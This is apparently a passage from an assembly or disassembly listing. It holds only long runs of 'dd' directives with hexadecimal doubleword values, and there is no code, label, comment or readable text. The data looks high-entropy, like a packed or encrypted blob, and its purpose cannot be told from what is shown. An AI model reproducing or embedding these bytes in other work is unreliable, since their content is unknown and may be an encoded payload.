		dd 9F761D0Ah, 523D0F9Bh, 0FC6E0989h, 4ECF0085h,	0D8CF83h
		dd 0A458D420h, 98E2BFC9h, 0F8B0FB71h, 4AFF3900h, 5802B441h
		dd 0AE4B00B1h, 0F13F5CF8h, 8D00C896h, 63070925h, 907897h
		dd 91A55D4Eh, 0D4049CB0h, 20C73E00h, 0B181533Bh, 14DC3B7Bh
		dd 44E13700h, 0D152CBC1h, 0A17F3000h, 8C00A85h,	8C500004h
		dd 1CFD2A6h, 70B6DA3h, 811D0564h, 2A7C696Dh, 1283E0h, 4CF1B36Ch
		dd 0DFAFA121h, 0A9981B00h, 0B78CF5E3h, 73DB1E02h, 74BA07B5h
		dd 3F32101Fh, 5A004AF2h, 1335B483h, 75EC49h, 0C3DDA8E8h
		dd 1D07A49Fh, 0B100B8B0h, 7CEBCDC7h, 0E16971h, 0AA8A904h
		dd 486E8B7Eh, 15B31209h, 19DB00B1h, 0E79BB4h, 2BD5C3D1h
		dd 3C9F08DCh, 411F6700h, 9E54DA49h, 0B1D60ED0h,	0C01D970Ch
		dd 72D12BF4h, 33CB0DFh,	9DDA8062h, 1AE944A5h, 87C60021h
		dd 0FD28D23Dh, 4700E0ADh, 2DD48E6Eh, 0E36A260h,	73F4B7AEh
		dd 0ABFFFBA0h, 8B0309B4h, 80ED4C5Eh, 0B26D9007h, 0A90C00A3h
		dd 2D471771h, 64FE3EC2h, 3C97B400h, 885E7530h, 1897B2Fh
		dd 8CDB4F9Eh, 0F406D135h, 5B006611h, 0D2EA330Ah, 1E684E37h
		dd 80D51EBBh, 0F7AFC21Ah, 0F21D5C7Bh, 37C02795h, 0A55943C0h
		dd 1ADA002Ch, 8953AB18h, 9C00D23Eh, 49561BF7h, 3365720h
		dd 3D54B9BAh, 6AD0148Dh, 9E00B3CBh, 0C510E6CFh,	1F2BE165h
		dd 0D26F6D25h, 1E8900DDh, 0ED5A5040h, 0C1B9AB07h, 0FC3092F5h
		dd 0B846DC48h, 0C0700Ch, 0F0652BD9h, 0F5401656h, 30F64D00h
		dd 0D59021B3h, 2B5309F7h, 0FF00E9CCh, 0DEDA07C8h, 52FF9100h
		dd 8992D91Ah, 55181CEFh, 316409Ah, 0E1DC58ECh, 6965C800h
		dd 790AF150h, 0DFA001E6h, 814B2C9Fh, 0B58DD8F6h, 99723003h
		dd 0B83739C6h, 0C8D6BCh, 0F3D16744h, 26D4F68Bh,	52450800h
		dd 3C8F99BAh, 7266003Fh, 0E74EB076h, 0BE07B45Ah, 2D9F71C4h
		dd 8B3C2EC0h, 0F65D007Bh, 329D19DCh, 0D000BDBEh, 3D7FBFE0h
		dd 750A0CFCh, 0E6390FA7h, 0A0497768h, 0FE25A101h, 0B98C0EDh
		dd 94FB6750h, 0E64BF4Ch, 213A7CDCh, 9939599Ch, 7A9219E4h
		dd 866407FBh, 3005ECA4h, 0C731C165h, 3566D100h,	56E559E1h
		dd 586306CEh, 0A8E8B860h, 67314500h, 553FC96Ah,	2E85F213h
		dd 0E0B3DEh, 5025C095h,	910057B2h, 0E0DF9ECh, 0EC8DEA94h
		dd 864C3978h, 0CB33B300h, 0BF3DF82Eh, 4EE55807h, 6C610773h
		dd 95C0A99Ah, 0E8AC0E94h, 51403CA3h, 1E45AD41h,	0AE9EC304h
		dd 0A5C1BA48h, 93D063F2h, 9AA7866h, 0FC465C01h,	2E7ADA00h
		dd 5E8B21Ah, 0CB818700h, 4ED6990Eh, 18EA00E6h, 7B12D32Fh
		dd 6800F7B8h, 0B48FAE75h, 0A070BAh, 9B20F56Ch, 0DCDD7186h
		dd 46779503h, 0C1FE1553h, 0A17063ACh, 0C2BC3991h, 0C99DF000h
		dd 0D50553BBh, 1407F87Fh, 4CCE723Eh, 0AD693870h, 0A17C003Dh
		dd 0E91E33A0h, 0A90009BDh, 477AD48Ah, 4AC25Dh, 0C6863F2Ah
		dd 6ADDBBF2h, 1452270Fh, 0CD024004h, 0D8A1F1h, 3E0873ABh
		dd 7061C269h, 901FBE79h, 7680B26Ah, 97D0E982h, 0B32450B9h
		dd 0C30300B8h, 2B67C67Dh, 8C03D16Dh, 808F4436h,	0C68E02h
		dd 509BECEDh, 6F566E61h, 9E172400h, 91820EFBh, 698130FDh
		dd 0CF1C9050h, 0DF3BB50Eh, 0EECC7A7h, 0E3E931F0h, 7947E9Fh
		dd 0B36B851h, 0ABB6914Dh, 788160C2h, 18F9A41Fh,	0F4CF1907h
		dd 0A66DE520h, 3014017Ch, 97A98826h, 0E4E06176h, 3D00A574h
		dd 0AB4B4E07h, 1E9EDC6Ch, 80B32CA1h, 82DBF137h,	0BA17B936h
		dd 14006BCFh, 429C2DF2h, 0CE9100DDh, 9A8312F5h,	1907FD46h
		dd 18826362h, 20F70ED1h, 81B980F6h, 0C94D8Eh, 27D1F438h
		dd 0AF1EE02Eh, 545D760Eh, 0A943078Bh, 2A40C187h, 96CD529h
		dd 0AB7B1D58h, 27EA9680h, 9A0E96FAh, 40CD153Fh,	9F1E0A4h
		dd 40AD0754h, 673AF9A1h, 0DD7BC01Ah, 1B005271h,	0F28DA7B3h
		dd 0F5865Fh, 968C41BBh,	274A0878h, 0EA00E27Ch, 430ECC0Ch
		dd 4524CAh, 0A4DE3DEEh,	16DA7787h, 0F5EB8300h, 0C08F130Ch
		dd 377D1F32h, 5925002Ch, 7CB1AE2h, 67392801h, 9E699D68h
		dd 1FEA2CD4h
		dd 80E87BB6h, 0E3B802A1h, 81007EB9h, 9720E7B2h,	39E2C9D0h
		dd 0A780510Fh, 932F1BACh, 920046FCh, 0A61EB9D9h, 15C55E1h
		dd 0EFB51F66h, 0F08018BEh, 4F006D59h, 84D03620h, 869354h
		dd 9427D50Ch, 0EFD2E6FAh, 8D004178h, 3498CC71h,	2CE2A261h
		dd 2C05A6h, 6263F1C1h, 67587421h, 369E00EBh, 0B7376D5Ch
		dd 61E001D9h, 40C39C13h, 2F30FC29h, 0DB70BB0Eh,	0AE7D60EDh
		dd 1C1214EAh, 40EB7BBDh, 0AA5EB201h, 370EC91Dh,	201161DAh
		dd 72222F41h, 0D5493D04h, 47922780h, 12625545h,	0ADAB9701h
		dd 1464F5C4h, 39C0BEC0h, 0F600FB54h, 2AD63935h,	0DD008D89h
		dd 0E533CC7Ch, 87EFB4h,	0F82C2B55h, 11E7EC32h, 0AB8A9F00h
		dd 0B3D0241Ch, 60B0FEh,	2E4316Ah, 0A4179848h, 1FD42200h
		dd 8890A0F1h, 0FE3A38CBh, 0F91D4487h, 0B5002BAAh, 0C307B48h
		dd 809D4F3Ah, 4073F7C2h, 7E6BC0Eh, 88E056B9h, 0DFDDA065h
		dd 0B70EEEB2h, 0EED0C40Ch, 9793E34Ch, 70B9E005h, 822100F8h
		dd 45B7815Eh, 23010FD7h, 2DF94028h, 0E0D76EDFh,	3B54CD48h
		dd 1100F115h, 5908F735h, 9003EB57h, 0C2128ADh, 0D84BC0D1h
		dd 0B6DC006Dh, 0B50A51FAh, 337BF59Ch, 927E0D07h, 8150D313h
		dd 71673h, 9A21E296h, 0A7480B3Ah, 0A2F6191Ch, 1FCE08C0h
		dd 3CDE4Dh, 9071171Ah, 51BED30Bh, 4B26B60Eh, 29A04752h
		dd 0BBB71A80h, 80FB0090h, 0ACFF088Fh, 8D583E70h, 0EFF3009Eh
		dd 0DF958E23h, 0BD960057h, 593EA17h, 4008226h, 6764D262h
		dd 7539E6Eh, 6A14FC1Ch,	48E9A08Bh, 4900CA63h, 0C129F8D6h
		dd 3AC0AD77h, 7D0EC9h, 31D3D9DCh, 0B190C89Fh, 0A483533Dh
		dd 0DE2002FAh, 4B0EFE0Fh, 3C75808Fh, 0D75188h, 0CA2BBE37h
		dd 0C8C1F11Bh, 738C7400h, 7813098Bh, 0BAFD0057h, 0B432A179h
		dd 0C900E2D3h, 1B87E75Fh, 1E1705FFh, 8093FB99h,	0D995ACB5h
		dd 71D88D1h, 0B607B93Dh, 59D0D0FEh, 364AB3h, 3FC50C4Fh
		dd 8D5EC67Ah, 0F315CE01h, 0F4AC124Bh, 747E30h, 0DC18057h
		dd 2C25CA22h, 0E8AE2700h, 0E6D887Ch, 0DB1B00CBh, 0AC21534Ah
		dd 2A008F2Eh, 0A32597C4h, 0C591AEh, 31889B9Ah, 0A7F435E8h
		dd 0F6002A76h, 396C2C53h, 64CF95h, 0C559903Dh, 0AA819F45h
		dd 0BC0EB976h, 257A6812h, 0B200C7A4h, 16619160h, 89EE62h
		dd 24F1FB1Ch, 201252B3h, 15C4A00h, 0B2587ADh, 3FD00383h
		dd 0DE27BEABh, 1BA35C00h, 3451CAE0h, 5680732h, 70E747F1h
		dd 0AA63E445h, 7DFD7500h, 764F5FADh, 5004C725h,	33E3C0BAh
		dd 20007AE6h, 17D73870h, 939D69h, 0DB1A6BEAh, 0D1A9A743h
		dd 0B8CD3Ah, 4B6730A1h,	5AAD57h, 76CCF4E5h, 59502D28h
		dd 4400087Ah, 0A7307E1Fh, 0E0367F5h, 54897DFCh,	22D97940h
		dd 4200976Fh, 21DDE8F6h, 46B4D0h, 7C8C4BE4h, 9C485E51h
		dd 25DE8307h, 0BF30FE4Ah, 354ADAFh, 0B1A5080Dh,	16C8D956h
		dd 0B5000958h, 0BC358CC5h, 0D477F6h, 47265C7Bh,	10BA2015h
		dd 0F0A83Eh, 0CBA605AFh, 5C8B46D0h, 0B4003F97h,	11D6E70Ch
		dd 4400F028h, 0C89D7C9Ch, 77F3EBC4h, 0E8D5005Bh, 3CD2D6EFh
		dd 0C57EFE4Eh, 0C70075E8h, 0B95E3140h, 35C9DE4h, 12B0FD44h
		dd 0D6D8BFE8h, 0CE077EB6h, 0B9B7B834h, 2E4EBA50h, 29AF00FEh
		dd 1D06A001h, 0EA054144h, 0C3BF38D4h, 77B9ECC0h, 0A1D704E7h
		dd 0C03949AEh, 0AA0A9E16h, 21205B00h, 0E1A2DC35h, 5AEB00DDh
		dd 8701F9A6h, 2200EED0h, 43FF36AEh, 69FB66h, 0D6D13347h
		dd 48C7F55h, 25E77E00h,	0DD1C750Fh, 305E3FFCh, 1E6BFF03h
		dd 0BD83C61h, 0F2042131h, 62C31D67h, 33920A80h,	0E9D4F7DEh
		dd 8A93F34h, 0FF51A800h, 49F103B0h, 7F503202h, 0C098BD8Bh
		dd 9D5C26h, 922F0B61h, 0E94AE51Ch, 0E3562501h, 5C3E3F63h
		dd 0A95B0EBh, 0BF750060h, 410B39F0h, 2A16C830h,	2D1E74E4h
		dd 7A995Eh, 23898D15h, 1688DBDDh, 47B66Bh, 3DD9A093h, 0BE000EBDh
		dd 3B259034h, 1417C34Fh, 8E847C68h, 0A23CB402h,	9E608FCCh
		dd 390E9146h, 78D94Eh, 4DFCADC2h, 0B3451F7Fh, 745D0C0Eh
		dd 883887ECh, 9400F6DCh, 0E017FC8Bh, 0F0DF92h, 86DB63FEh
		dd 6DF82A58h, 38282600h, 5E7B3FA7h, 0BDA40950h,	2100379Ah
		dd 3EA3EF7Eh, 0B224D671h, 8004D34h, 5068FC1Eh, 0DA8807F0h
		dd 0F0B9EB4Ch, 3885D870h, 92C97700h, 0F666C599h, 8D1F09AEh
		dd 0C4812739h, 0F00CF7CAh, 87034EFCh, 0B07CA204h, 0C21DD859h
		dd 480AECDAh, 0CC0291CFh, 797B4932h, 1BA6B3C0h,	58C3DC00h
		dd 3776F4BDh, 8D4E007Dh, 6567B71Dh, 0A400F02Ch,	0E91F3614h
		dd 0EA309309h, 0C30A0074h, 4E87BC31h, 0D771C6E7h, 0D252BE00h
		dd 0F27005F9h, 0F981EC8h, 37FBC7D6h, 0BD278049h, 0FF0FBAECh
		dd 0A0E1A5F4h, 0EB388C88h, 2C3A000Ah, 78914A63h, 0FDA0054Eh
		dd 0A700D8E7h, 53D02D81h, 303D79Ah, 0A579E2C2h,	18E0D12Eh
		dd 5107B91Ch, 0EC7B8E0Dh, 7C8DB1F0h, 0F11900BAh, 0F00840F6h
		dd 0DF00256Fh, 0AE690C22h, 0EE9DA9EDh, 3F16099Fh, 0A183E50Fh
		dd 14D0FCC1h, 0EA007FD7h, 66998136h, 0EF979CEh,	44B39008h
		dd 3F983320h, 820034A9h, 0CC8E1CBDh, 6A53A5h, 8FEC2F57h
		dd 63946B5Dh, 1B1FC500h, 753F2235h, 2F6E0F4Dh, 28607AF0h
		dd 0D43264DCh, 3575C874h, 6205DB00h, 9B7E488h, 59E70F30h
		dd 0AA203F72h, 4351EFAFh, 2B0782E8h, 75C405Ah, 0FAD21410h
		dd 0CFA9001Fh, 80964D02h, 2F1D2A03h, 43437782h,	88B7E097h
		dd 0A85B4Ch, 0C2515308h, 685242A3h, 0B50521F2h,	0CF4906Bh
		dd 2FA7F280h, 3B0700F7h, 9FFD1438h, 4B0184Bh, 330F8677h
		dd 0A09ACFD0h, 0EBB645FEh, 6ACD0046h, 4CBFB17Fh, 3C0EE5B9h
		dd 80286324h, 257C3F3Bh, 9B0304A9h, 806F9E2Bh, 90690802h
		dd 0CD4C4700h, 0FA8AC5C7h, 522F003Bh, 2942D52Eh, 480EEBB2h
		dd 0C09934CFh, 6B1B827Ah, 300800DDh, 312E64B6h,	370069DEh
		dd 0A5569A4Fh, 88BC80h,	83701ED6h, 4C143EA9h, 7C2DAD00h
		dd 907F39C2h, 92100D2h,	0B8F1B14Eh, 9B010AC1h, 36F9AA62h
		dd 0D160E731h, 77610073h, 7A15F621h, 0E203192Eh, 0AE65EA02h
		dd 0E0CEA8F8h, 0F73F0064h, 9C3A9BF5h, 6E4B0EFh,	0D9189200h
		dd 32FC150h, 67930015h,	0C341E9EBh, 0A300190Dh,	5D489A09h
		dd 0C1A010h, 2847E14Dh,	97780351h, 0D7DA5700h, 7E0637B1h
		dd 0BE3900E0h, 3C382A48h, 0F000E405h, 7ADE69D3h, 743352F6h
		dd 7290072Ch, 201CF387h, 13540EE7h, 630ABC00h, 52E3C18Fh
		dd 79754Ah, 4F5EB49h, 0F696DB6h, 0D59D1D12h, 3221B600h
		dd 651267h, 25997972h, 0D698B2E6h, 0AE00E170h, 0B12E3F1Eh
		dd 75B9C9h, 4C6C6FB4h, 0EA83E2F1h, 44A638h, 0D3357446h
		dd 5C7B532Bh, 0C8006784h, 372CB804h, 2780C54h, 85FAA200h
		dd 0BD3211ADh, 83F500D7h, 0AC0BF2Ah, 0AAF43F94h, 804AC53Dh
		dd 0F370A982h, 253754h,	1ED75878h, 15653431h, 1A0DF700h
		dd 9080F466h, 7E0985Bh,	0B96E0F0Bh, 47C0536Ah, 0A67242B8h
		dd 0FD49BA00h, 365D9303h, 710C0364h, 2E436235h,	0AAD728F0h
		dd 0FD222D0Bh, 74738779h, 503AE810h, 232C5CCAh,	0CE361601h
		dd 217EBEE2h, 62268A52h, 1200A63Ch, 0E096F64Ch,	474E28Fh
		dd 9D32D43h, 522E8022h,	5800EF75h, 2A8B36AAh, 3E6300Fh
		dd 0F4A82E87h, 97A065C0h, 0B8005410h, 0FEE8C536h, 275EDB9h
		dd 8CAB0983h, 10C030E3h, 0BA0BC2BEh, 3576B1h, 40B6E745h
		dd 64F042h
		dd 1A2F63DBh, 7EE57B4Bh, 17505400h, 8C9340FDh, 8D070379h
		dd 0A16F64A6h, 0C1213B98h, 15A8F100h, 0B480B79Eh, 489D0150h
		dd 6B823E02h, 0D82461D7h, 9F007292h, 3F1ACFC0h,	93C258h
		dd 5116FDFCh, 70141DB8h, 4FE8F00h, 0AC33DE95h, 3F819047h
		dd 0C980633Dh, 7ADCE1AAh, 0BE3CD82Fh, 0D9BC00ABh, 0A4A2AF17h
		dd 51F91F67h, 167CC045h, 0BF2BCB54h, 0E67E3C00h, 0A0920388h
		dd 715203ACh, 9FA4F95Ah, 0F7D04F8h, 58E1B600h, 89CB33F0h
		dd 4D741FDDh, 55EEC02Fh, 35980A69h, 0CE17C000h,	66D80777h
		dd 0BEB601AAh, 73F17E21h, 0DEE8D4A1h, 0F6C5BB00h, 801DA064h
		dd 0D4D50093h, 404DBA6Dh, 0CD001FF5h, 0A349848Bh, 7DFECFh
		dd 0B5769C57h, 0F4CEC891h, 0C5737A07h, 6B17E575h, 0E97D6770h
		dd 7FE8002Ah, 90884462h, 0DF0FFD10h, 0EF3DBC37h, 0BFE38707h
		dd 0BBB214A0h, 4B27008Fh, 87B37071h, 4A71E85Dh,	23A138h
		dd 49CEB63Eh, 59845h, 0FD11B9E7h, 6A875ED5h, 9E02951Eh
		dd 0AA0DFFC0h, 0CF3835h, 672AAF2Eh, 0D6627327h,	0CE908B0Eh
		dd 0F4E8C0F9h, 1E58104h, 2F748698h, 0F14F50C4h,	54F1ECEAh
		dd 96024900h, 0D6CC3246h, 0AC353A16h, 25BCCB00h, 5BD33CB6h
		dd 0F0038E8h, 94E99AFh,	3F9AC89Bh, 2680717Bh, 0A22B391h
		dd 5B00DFE9h, 7D57F018h, 0B34EF61h, 0A656DD19h,	50CBCC01h
		dd 0F271C85Fh, 0DEB4F401h, 0A1D637FFh, 0E1C74C8h, 89A3F143h
		dd 9932B8C3h, 716D1A88h, 7C34C00h, 3E03E9A2h, 0C7202C2Fh
		dd 57990072h, 136CAB28h, 2DA25100h, 6AE2C689h, 15000E4h
		dd 855A2EA4h, 0EE001FF6h, 0DDC3BB04h, 0B80870h,	407B83A7h
		dd 69DA5B9Fh, 6188401h,	82CF1E19h, 67ECE5D9h, 818E0023h
		dd 0B485FE86h, 4E07D545h, 0D1EE5A8Ah, 0BC71E80h, 5BB91C09h
		dd 25B60011h, 4D1B7A1Fh, 693DDD26h, 87F97100h, 1D39B533h
		dd 8F58B336h, 5EC03BD9h, 0E7CA6A3Ch, 166B8F0Fh,	5B142028h
		dd 0E8361Ch, 0A1A7736Fh, 0A89570C6h, 0EAF25201h, 5A8D65A4h
		dd 72F19E4h, 0FFDCC5DEh, 24F970B5h, 142CAAF2h, 0A700015Dh
		dd 616B7592h, 91700DCh,	4FBE2D3h, 210006F0h, 0A1C6305Fh
		dd 3B20A0Eh, 1544BB51h,	4271EBB8h, 500B39h, 4E7FA017h
		dd 70DA9Eh, 6EC42E06h, 6AE4417Bh, 63005A73h, 0C2A9AEA7h
		dd 78D6BC99h, 0CEF01D2h, 0C7EDC8BBh, 657CF8B9h,	3BE91A00h
		dd 83F66D1Dh, 370300BAh, 8186A526h, 0FE00900Dh,	0F727FD71h
		dd 0E1C4EF4h, 9444782Ah, 61CF1880h, 0B90E4AADh,	0F93EFBh
		dd 543D4EE3h, 0ED2C924h, 80155907h, 1AEDCC38h, 0F70703B8h
		dd 33563EC0h, 0ACD4EC20h, 0FB09Ah, 0A4F34D6Eh, 0FD24E3CEh
		dd 0D7D0501h, 0E6F0AAE9h, 0B8FFFCCCh, 9DC426EEh, 5F383A5Dh
		dd 8ACF12h, 0AA95AD2Dh,	0F100A7E7h, 5299B75Eh, 45C8779h
		dd 5A09ED0Dh, 91D5C0D0h, 0A000F28Ch, 0E93B98E1h, 0F9ACE6Bh
		dd 1CA5EBFCh, 5D5846E0h, 0A016BD22h, 0E2008F59h, 1FE9B0Bh
		dd 10BC1DFFh, 6B3F8182h, 20798626h, 0F600916Ch,	51DB6342h
		dd 0F06216h, 1E20C03Dh,	3C69E325h, 0FF2697B0h, 91D010Eh
		dd 351D6540h, 10B9B8Dh,	0E786ED43h, 0DC9A89FCh,	161348F2h
		dd 0D50E6D39h, 57E6E068h, 7F42A435h, 8B0D0018h,	0D1454A5Ah
		dd 0A3005393h, 629E6739h, 1CD379F7h, 415BBC36h,	844A9FC3h
		dd 0E876DDEEh, 6900E844h, 380B8BFAh, 28B23167h,	26BAFBA3h
		dd 1254FEh, 0C08C24E4h,	4D7FD133h, 48082300h, 0AA42F1C8h
		dd 69342462h, 2C1D00B7h, 0E03AD511h, 88091AF0h,	80236F02h
		dd 9F9D38F0h, 0B56B037Ch, 46C4BF01h, 69BEFC00h,	0BC6FA3FEh
		dd 3DD0EB73h, 0FD1F00B0h, 5B529DD6h, 0CD00FA0Fh, 0E486922Bh
		dd 0F87C41h, 0CCB4E893h, 0C1B81618h, 3CBC635Ch,	3D8300FBh
		dd 0B9EBCA20h, 806B0042h, 52FA233Ch, 0D9B0B731h, 4C979BA0h
		dd 0E4A49200h, 64D849CBh, 0AC891895h, 0B33058A1h, 76826A00h
		dd 94462CEFh, 744B1E31h, 330A8016h, 0EB135F54h,	59806603h
		dd 925B4DD4h, 292240E9h, 0D1840076h, 0F956247Bh, 9D1DF641h
		dd 58C0542Eh, 81550767h, 0F05C765Dh, 0B6C80089h, 7EA99728h
		dd 95033F13h, 6D29B9E0h, 3CA598C9h, 24891ECAh, 4FF900D7h
		dd 0EF81990Eh, 60D1D300h, 0E3A9C368h, 0C77A94h,	4439EAB2h
		dd 0F15341E1h, 0DB6C7900h, 65C6E24Ch, 0B6B70006h, 0B5299D75h
		dd 4500307Ch, 20679EF6h, 4E92D8Dh, 23C7043Eh, 171080D4h
		dd 961CAAA4h, 0A8002959h, 0D8FD4C68h, 7F3A00BDh, 76A08833h
		dd 4100FF47h, 23EA3ECFh, 7D4FD7h, 0E366B27h, 0D6DDC8A4h
		dd 46559E00h, 0D028A169h, 94BD3C74h, 334E4A0Eh,	534B5021h
		dd 9261F672h, 537C86Fh,	0E4791700h, 0F6B74C2Ch,	622700E1h
		dd 0D645ADFAh, 8800A3BBh, 5705D715h, 28FC3Bh, 4FE86C7Eh
		dd 0F2BBD4B8h, 0B501EEE2h, 0AE5AA00Bh, 93FF204Ah, 0B12DA0BDh
		dd 259C0164h, 3EE33BEAh, 11BCC435h, 5B7F8500h, 6222B69Eh
		dd 0EFA90013h, 0B583B0FFh, 8DE47231h, 0D44E0B0Eh, 1F3C869Dh
		dd 0D83E0058h, 48776715h, 0BC00437Bh, 2868762Dh, 0EC5E4C83h
		dd 3B1807D3h, 0D02B6A0Bh, 0FFDF0915h, 0DB4A2C17h, 278EEC00h
		dd 1E79DA47h, 0CE515836h, 0FDA0978Ah, 0D8FBC466h, 0EFF73Dh
		dd 0B6E75E0Ch, 7C98CAh,	0A23262E8h, 6C437EC6h, 0C59B9418h
		dd 7A63C8Ah, 70602BE6h,	0C3AB5581h, 0DCC04141h,	0DD00A1F5h
		dd 0E368090Ah, 1CDCFD8h, 0EF4CB25Ah, 0F4237D69h, 91038030h
		dd 759478DBh, 6587E8D4h, 0BD38C07Ch, 33305969h,	47D8600h
		dd 6BB24CBEh, 0F2A2E60Fh, 481400BDh, 640A53DFh,	0BA3BB642h
		dd 0B82E8080h, 6E700C3Bh, 0A50609CEh, 2AD69146h, 21DC400h
		dd 0BE084DDh, 4270A83Ch, 3150E680h, 1900EB41h, 24A6ACBAh
		dd 0A04C1Dh, 0FF3D8BA9h, 0EEFC7FFBh, 9FD0F201h,	0A6597B5h
		dd 38476CFCh, 7D80281Dh, 0EDAE51EAh, 207F3007h,	0E400E2E4h
		dd 81B585D0h, 7D0D458Bh, 7B2C03E5h, 876855B8h, 82A46FA0h
		dd 98145Ch, 62319153h, 1C7EB98h, 0EE75972Dh, 0FFA03936h
		dd 450CABA1h, 0C07E1CAEh, 59481230h, 61078A3Ah,	2C18F6CAh
		dd 0E46682B0h, 0B17E73h, 0C4C7FEF5h, 0FD3B631Eh, 49EF2B00h
		dd 4BD40A23h, 29120003h, 6308FB01h, 610115FCh, 0E1921170h
		dd 90CCA2FEh, 670B0FB7h, 0BAA04089h, 0EC9A25E2h, 87003678h
		dd 0F75A85BFh, 7508DF67h, 0C0310002h, 7BD4CA4h,	0FA265BE2h
		dd 0A91C2B7Dh, 2D527C82h, 16EFC0CDh, 5E620505h,	810C117Fh
		dd 0E8C96449h, 8100678Ch, 2C4BA67Dh, 0E4D6A98Dh, 0D34C00F3h
		dd 6BAADC43h, 0D20067BFh, 9F322ACFh, 0EEFAC1h, 7EF8AF7Ch
		dd 4093C80Eh, 4E1A6900h, 794FEA75h, 453D000Fh, 0F8BB6F74h
		dd 8E07DBE9h, 174A7A98h, 4B77EC10h, 560900B4h, 6858E4D5h
		dd 0B700B2DDh, 0BD9DD9B0h, 8B65FCh, 571CA3D1h, 96EBAE52h
		dd 4A0035FCh, 71D4C7E6h, 0C7C93C7Fh, 0B5CAC3B2h, 62FC8017h
		dd 2D000893h, 8C51A087h, 60AD5234h, 3216C8C2h, 12017F74h
		dd 8B80EEBEh, 9DDCF987h, 575A00A6h, 0B413E76Bh,	4E00B5DCh
		dd 1030A28h, 0D13868h, 5FA7461Ah, 0D489EC3h, 8A03BFE2h
		dd 6236349Bh, 59E0CF03h, 3F2547h, 0CB61DA65h, 0B6BCB966h
		dd 0B1F3D300h, 0D620D80Dh, 0EA697250h, 6CE40044h, 95E0EC36h
		dd 92001BCBh, 0E8F44514h, 3D09BF1h, 0AD9FB191h,	34DF4139h
		dd 0A5FC005Dh, 3A960A1Bh, 18003C4h, 83DFA69Ch, 2E00E2DDh
		dd 29A5CF0Dh, 1C227C6h
		dd 0CAD7C4DEh, 203A5241h, 0D3000709h, 0EB6A0487h, 433E8Ah
		dd 982A0182h, 0B1BEAAFEh, 14F1EE00h, 0E8CB74E0h, 0EDC500B7h
		dd 0C2B25119h, 8000D9B4h, 160DD811h, 7313A3h, 0F44F9FE7h
		dd 0B827E096h, 0FC0A3600h, 0CC625CADh, 615400DEh, 0B9597304h
		dd 0D81E3AE0h, 24407B1Fh, 2858143Dh, 0E29B00EEh, 421932E5h
		dd 7307980Bh, 0F8FB8102h, 0F7899F70h, 0CFC80054h, 51BB7EDDh
		dd 5C488F87h, 921C0552h, 2480218Ch, 0C86A68h, 466F3267h
		dd 0DFC29B1h, 0BA699500h, 8D12EE83h, 0FBC50EF7h, 84601005h
		dd 6FBB0E5Fh, 7086C203h, 98BC66A5h, 2E8AB7h, 3B069E7Eh
		dd 34CD5602h, 712F5916h, 9699F404h, 8CD800FFh, 88041015h
		dd 0A1056C01h, 0EB4F1AD6h, 1845D4h, 4EE7E9FBh, 3C24F6DDh
		dd 3B275Ch, 0ADACD189h,	9AF377h, 1B8BCC25h, 3E07669Ch
		dd 20BCEC00h, 937B8A6h,	4C8F74D8h, 3F1E398Ah, 0C450008Dh
		dd 0BAA5A760h, 9AE44278h, 90051472h, 6357BF33h,	4E2D8280h
		dd 220A07EFh, 11B8A87Dh, 0ED8661DBh, 0B92280E6h, 48A42E7Eh
		dd 6343EC3h, 98DA8594h,	0FF85107h, 5D759031h, 0EC00D0BDh
		dd 7A0C2DF9h, 21890Bh, 0EE785E16h, 28F6C74Bh, 0BD8DE700h
		dd 6A6C5C5Ah, 5EE88h, 0BC60152Eh, 0EDFA129Dh, 0AC65000h
		dd 0C2FEB869h, 8DA6006Ch, 471CA419h, 0DE009E1Ah, 28F34E1Fh
		dd 0EEA0B4FBh, 45F4CF74h, 0FAC0400h, 6B07B879h,	12F52682h
		dd 0DD7E46B0h, 3A6D0003h, 3CEF0E1Bh, 404CCFB2h,	0F31F001Ah
		dd 917A434Fh, 13781Ah, 0F6824C8h, 9560D1Eh, 0FB97E300h
		dd 0A0575F5Bh, 8C5E00FAh, 0BF24626Dh, 8712B2F6h, 0D400E470h
		dd 5EBE19EAh, 0E07A70CFh, 85DE071Ch, 2072158Ah,	8CC9AE07h
		dd 3ADDB700h, 1189BA17h, 2B9C00FBh, 1B5176EDh, 4E00BC95h
		dd 0D2430125h, 8168Eh, 384053AEh, 5B0B2635h, 4481E201h
		dd 179A61FEh, 0C7BAE4h,	0C151D5FDh, 2E29D49h, 1B40320Eh
		dd 0CAC8A0E1h, 7E39F4Dh, 0B97B174h, 8718205Dh, 240E331Ch
		dd 20E464F2h, 1D14B3A2h, 0C76200A5h, 49E82D5Ah,	9400E6DEh
		dd 0E70C997Bh, 85250Ah,	16834B6h, 79E7FE5h, 0A9C16907h
		dd 6F20128Ah, 5C737B05h, 57003B0Eh, 262D50Dh, 5300EF03h
		dd 0DC076AADh, 6FE20Ah,	0FF1DA7D9h, 0B6B034CEh,	3F00B1B0h
		dd 0DB3548C3h, 10D851h,	39B5C2DFh, 4A340728h, 801EBD3Bh
		dd 8EA1490Fh, 0C902E0Bh, 36961DD9h, 300A6F2h, 920C767Ah
		dd 774662Bh, 0B3D74537h, 4216D3F2h, 0C6D2DCC0h,	0A7B23E01h
		dd 0C95F2FBEh, 77A99DFCh, 2D6C0036h, 9EF66101h,	0CE0E8B6Ah
		dd 4083597Ah, 111F3FDFh, 826203A2h, 2B1908D0h, 0A8BFA80h
		dd 4202F660h, 0F5F454D4h, 52E630h, 0A0D294DEh, 76B9BB3Eh
		dd 43703100h, 112AB2A7h, 3D910963h, 4100449Bh, 78DF7D6h
		dd 0CA30400h, 1A8B9A7Dh, 99CC00ABh, 0CFFA1B82h,	783BC172h
		dd 48A300E1h, 598881D3h, 0F57303FDh, 0ED3F4928h, 9BC518D8h
		dd 0E8E2DC00h, 9479F430h, 1628001Ah, 0E3C1BEC0h, 7A03335Ch
		dd 4C56F56Ch, 17849093h, 0A6EB0185h, 0CE3A29EDh, 0A0533062h
		dd 19B8F07h, 0DBD0E236h, 0F69013h, 85331547h, 97FEFAB0h
		dd 211D5D7Bh, 1440520Eh, 0EFE4F16Ah, 0CDD9002Eh, 0B089538Dh
		dd 35009669h, 77BD3CF2h, 0F366672h, 61B44CACh, 0FFE0D72Eh
		dd 0B8283BCDh, 0BAE19A00h, 7A64205Ch, 0DA4A6025h, 5F0FC948h
		dd 0B3F4351Ch, 0E5610580h, 0CD0A99h, 9286CECAh,	6BFC6FEDh
		dd 0FE72C001h, 629608DCh, 0BDFE4h, 0E4417A48h, 0A1683218h
		dd 6FF36E00h, 0CA5F075h, 3B44071Ah, 17D58F84h, 0F432E0FDh
		dd 0AD00B9C1h, 0D7128EA8h, 3937599h, 80656E29h,	6AE8B739h
